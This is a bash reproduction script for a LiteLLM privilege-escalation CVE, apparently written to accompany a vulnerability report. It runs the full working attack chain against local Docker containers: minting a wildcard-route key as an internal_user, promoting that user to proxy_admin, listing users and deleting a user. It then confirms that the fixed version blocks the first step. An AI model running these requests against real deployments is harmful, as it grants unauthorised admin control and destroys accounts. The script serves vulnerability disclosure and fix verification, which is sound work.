#!/usr/bin/env bash # # demo.sh — CVE-2026-47101 LiteLLM Privilege Escalation (internal_user → proxy_admin) # # One-click reproduction covering report sections 5.1 through 6.2: # 5.1 — Start vulnerable LiteLLM container (v1.82.6, pinned by digest) # 5.2 — Confirm service via docker logs # 5.3 — Create internal_user account via /user/new # 5.4 — Step 1: Generate API key with wildcard allowed_routes ["/*"] # 5.5 — Step 2: Escalate to proxy_admin via /user/update # 5.6 — Step 3: Verify admin access via /user/list # 5.7 — Extension: Delete admin user directly via /user/delete # 6.1 — Start fixed version (v1.83.14-stable) # 6.2 — Verify fix: attempt key generation (expected: blocked) # # Usage: # bash demo.sh # full 5.1→6.2 reproduction (both versions) # bash demo.sh --keep # keep containers running after demo # set -euo pipefail cd "$(dirname "$0")" RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' BLUE='\033[0;34m' NC='\033[0m' info() { echo -e "${BLUE}[*]${NC} $*"; } pass() { echo -e "${GREEN}[PASS]${NC} $*"; } fail() { echo -e "${RED}[FAIL]${NC} $*"; } warn() { echo -e "${YELLOW}[!]${NC} $*"; } banner(){ echo -e "\n${GREEN}████████${NC} $* ${GREEN}████████${NC}\n"; } MASTER_KEY="sk-litellm-master-key" KEEP=0 cleanup() { if [ "$KEEP" != "1" ]; then info "Cleaning up containers..." docker compose down --remove-orphans 2>/dev/null || true docker rm -f litellm-privesc litellm-privesc-fixed litellm-privesc-db 2>/dev/null || true else info "Keeping containers running (--keep)." fi } remove_existing_containers() { docker compose down --remove-orphans 2>/dev/null || true for c in "$@"; do docker rm -f "$c" 2>/dev/null || true; done } wait_for_litellm() { local url="$1" local timeout="${2:-120}" info "Waiting for LiteLLM at $url (timeout: ${timeout}s) ..." for i in $(seq 1 "$timeout"); do if curl -sf "$url" >/dev/null 2>&1; then pass "LiteLLM is ready!" return 0 fi if curl -s -o /dev/null -w "%{http_code}" "$url" 2>/dev/null | grep -q "401"; then pass "LiteLLM is ready (auth required)!" return 0 fi sleep 2 done fail "LiteLLM did not become ready within ${timeout}s" return 1 } # Create an internal_user and get their API key create_internal_user() { local target="$1" info "Creating internal_user account..." local resp resp=$(curl -s -X POST "$target/user/new" \ -H "Authorization: Bearer $MASTER_KEY" \ -H "Content-Type: application/json" \ -d '{"role": "internal_user"}' 2>&1) || true local user_id user_id=$(echo "$resp" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))" 2>/dev/null || echo "") local user_key user_key=$(echo "$resp" | python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))" 2>/dev/null || echo "") if [ -n "$user_id" ] && [ -n "$user_key" ]; then pass "Internal user created!" info " User ID: $user_id" info " API Key: ${user_key:0:32}..." # Save for later steps echo "$user_id" > /tmp/cve47101_user_id.txt echo "$user_key" > /tmp/cve47101_user_key.txt return 0 else warn "Could not parse user creation response." info "Response: $(echo "$resp" | head -c 300)" return 1 fi } # Step 1: Generate a key with wildcard allowed_routes step1_generate_wildcard_key() { local target="$1" local internal_key="$2" info "Step 1: Generating key with allowed_routes: [\"/*\"]" info "Using internal_user API key..." local resp resp=$(curl -s -X POST "$target/key/generate" \ -H "Authorization: Bearer $internal_key" \ -H "Content-Type: application/json" \ -d '{"allowed_routes": ["/*"]}' 2>&1) || true local new_key new_key=$(echo "$resp" | python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))" 2>/dev/null || echo "") if [ -n "$new_key" ]; then pass "Key with wildcard routes generated!" info " New API Key: ${new_key:0:48}..." echo "$new_key" > /tmp/cve47101_wildcard_key.txt return 0 else resp_code=$(echo "$resp" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('error',d.get('detail',str(d))))" 2>/dev/null || echo "$resp") warn "Key generation failed. Response: $(echo "$resp" | head -c 200)" return 1 fi } # Step 2: Escalate to proxy_admin step2_escalate_to_admin() { local target="$1" local wildcard_key="$2" local user_id="$3" info "Step 2: Escalating user '$user_id' to proxy_admin..." local resp resp=$(curl -s -X POST "$target/user/update" \ -H "Authorization: Bearer $wildcard_key" \ -H "Content-Type: application/json" \ -d "{\"user_id\": \"$user_id\", \"user_role\": \"proxy_admin\"}" 2>&1) || true local new_role new_role=$(echo "$resp" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('data',{}).get('user_role','unknown'))" 2>/dev/null || echo "unknown") if echo "$resp" | grep -q "user_id"; then pass "Privilege escalation successful!" info " New role: $new_role" return 0 else warn "Escalation may have failed. Response: $(echo "$resp" | head -c 200)" return 1 fi } # Step 3: Verify admin access step3_verify_admin() { local target="$1" local wildcard_key="$2" info "Step 3: Verifying admin access (listing users via /user/list)..." local resp resp=$(curl -s -X GET "$target/user/list" \ -H "Authorization: Bearer $wildcard_key" \ -H "Content-Type: application/json" 2>&1) || true if echo "$resp" | grep -q "users\|user_id"; then pass "Admin access confirmed!" info "User list:" echo "$resp" | python3 -c " import sys, json data = json.load(sys.stdin) users = data if isinstance(data, list) else data.get('users', []) for u in users[:5]: uid = u.get('user_id', '?') role = u.get('user_role', u.get('role', '?')) print(f' - {uid} (role: {role})') " 2>/dev/null || echo "$resp" | head -c 300 return 0 else warn "Admin verification incomplete. Response: $(echo "$resp" | head -c 200)" return 1 fi } # Section 5.7 Extension: Delete a user directly step_extension_delete_user() { local target="$1" local wildcard_key="$2" local user_id="$3" echo "" info "Section 5.7 Extension: Deleting user '$user_id' via /user/delete..." local resp resp=$(curl -s -X POST "$target/user/delete" \ -H "Authorization: Bearer $wildcard_key" \ -H "Content-Type: application/json" \ -d "{\"user_ids\": [\"$user_id\"]}" 2>&1) || true if [ "$resp" = "1" ] || echo "$resp" | grep -q "success\|deleted"; then pass "User deleted via /user/delete — arbitrary user deletion confirmed!" else warn "Delete response: $(echo "$resp" | head -c 200)" fi } main() { while [[ $# -gt 0 ]]; do case "$1" in --keep) KEEP=1; shift ;; *) warn "Unknown option: $1"; shift ;; esac done trap cleanup EXIT clear echo "" echo " ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██╗██╗ ██╗" echo " ██╔════╝██║ ██║██╔════╝ ██╔══██╗██╔══██╗██║██║ ██║" echo " ██║ ██║ ██║█████╗ ██████╔╝██████╔╝██║██║ ██║" echo " ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ██╔══██╗██║╚██╗ ██╔╝" echo " ╚██████╗ ╚████╔╝ ███████╗ ██║ ██║ ██║██║ ╚████╔╝" echo " ╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝" echo "" echo " CVE-2026-47101 — Privilege Escalation via /key/generate + /user/update" echo " CVSS 8.8 | Affected: <1.83.14 | Fixed: v1.83.14+" echo " Attack: internal_user → proxy_admin via wildcard allowed_routes" echo " Reproduction: Sections 5.1 through 6.2" echo "" # ============================================================ # Section 5.1: Start vulnerable LiteLLM container # ============================================================ banner "Section 5.1: Starting vulnerable LiteLLM (v1.82.6)" remove_existing_containers litellm-privesc litellm-privesc-db docker compose up -d litellm info "Container: litellm-privesc (port 4000)" echo "" # ============================================================ # Section 5.2: Confirm service running (docker logs) # ============================================================ banner "Section 5.2: Confirming service running" info "Waiting for container to start, then showing logs..." sleep 5 info "--- docker logs litellm-privesc (last 10 lines) ---" docker logs litellm-privesc 2>&1 | tail -10 echo "" # ============================================================ # Section 5.3: Create internal_user account # ============================================================ banner "Section 5.3: Creating internal_user account" wait_for_litellm "http://localhost:4000" 60 create_internal_user "http://localhost:4000" echo "" # Read saved credentials local INTERNAL_USER_ID local INTERNAL_USER_KEY INTERNAL_USER_ID=$(cat /tmp/cve47101_user_id.txt 2>/dev/null || echo "") INTERNAL_USER_KEY=$(cat /tmp/cve47101_user_key.txt 2>/dev/null || echo "") if [ -z "$INTERNAL_USER_KEY" ]; then fail "No internal user key available. Aborting." exit 1 fi # ============================================================ # Section 5.4: Step 1 — Generate key with wildcard routes # ============================================================ banner "Section 5.4: Step 1 — Generating key with wildcard allowed_routes" info "Vulnerability: /key/generate does NOT validate allowed_routes against user's role" info "An internal_user can request admin-level routes like [\"/*\"]" echo "" step1_generate_wildcard_key "http://localhost:4000" "$INTERNAL_USER_KEY" echo "" local WILDCARD_KEY WILDCARD_KEY=$(cat /tmp/cve47101_wildcard_key.txt 2>/dev/null || echo "") if [ -z "$WILDCARD_KEY" ]; then fail "No wildcard key generated. The vulnerability may not exist in this version." exit 1 fi # ============================================================ # Section 5.5: Step 2 — Escalate to proxy_admin # ============================================================ banner "Section 5.5: Step 2 — Escalating to proxy_admin via /user/update" info "Vulnerability: /user/update allows self-modification of user_role" info "Using wildcard key to bypass route authorization" echo "" step2_escalate_to_admin "http://localhost:4000" "$WILDCARD_KEY" "$INTERNAL_USER_ID" # ============================================================ # Section 5.6: Step 3 — Verify admin access # ============================================================ banner "Section 5.6: Step 3 — Verifying admin access" step3_verify_admin "http://localhost:4000" "$WILDCARD_KEY" # ============================================================ # Section 5.7: Extension — Delete admin user # ============================================================ echo "" banner "Section 5.7: Extension — Arbitrary user deletion" info "With wildcard routes access, /user/delete has zero auth checks" step_extension_delete_user "http://localhost:4000" "$WILDCARD_KEY" "$INTERNAL_USER_ID" # ============================================================ # Section 6: Fixed version comparison # ============================================================ echo "" banner "Section 6.1: Starting fixed version (v1.83.14-stable)" remove_existing_containers litellm-privesc-fixed docker compose --profile fixed up -d litellm-fixed wait_for_litellm "http://localhost:4001" 60 echo "" banner "Section 6.2: Verifying fix (expected: blocked)" info "Fixed version validates allowed_routes against user's role." info "Internal_user should NOT be able to grant wildcard routes." # Need to create internal_user on fixed version too FIXED_USER_KEY=$(curl -s -X POST "http://localhost:4001/user/new" \ -H "Authorization: Bearer $MASTER_KEY" \ -H "Content-Type: application/json" \ -d '{"role": "internal_user"}' 2>&1 | \ python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))" 2>/dev/null || echo "") if [ -n "$FIXED_USER_KEY" ]; then local fixed_resp fixed_resp=$(curl -s -X POST "http://localhost:4001/key/generate" \ -H "Authorization: Bearer $FIXED_USER_KEY" \ -H "Content-Type: application/json" \ -d '{"allowed_routes": ["/*"]}' 2>&1) || true if echo "$fixed_resp" | grep -q "error\|denied\|forbidden\|not allowed"; then pass "[FIXED] Key generation with wildcard routes correctly blocked!" else warn "Fixed version response: $(echo "$fixed_resp" | head -c 200)" fi else warn "Could not create internal_user on fixed version." fi echo "" echo " ===============================================" pass "Reproduction complete! (Sections 5.1 — 6.2)" echo " Vulnerable: http://localhost:4000 — PRIVESC CONFIRMED" echo " Fixed: http://localhost:4001 — PRIVESC BLOCKED" echo " ===============================================" echo "" echo " Attack chain:" echo " 1. internal_user → /key/generate → key with allowed_routes: [\"/*\"]" echo " 2. new key → /user/update → user_role: proxy_admin" echo " 3. proxy_admin → /user/list → full admin access confirmed" echo "" echo " Root cause: Missing authorization checks in 3 locations:" echo " - /key/generate accepts allowed_routes without role validation" echo " - Route check falls through to allowed_routes wildcard matching" echo " - /user/update allows self-modification of user_role field" echo "" } main "$@"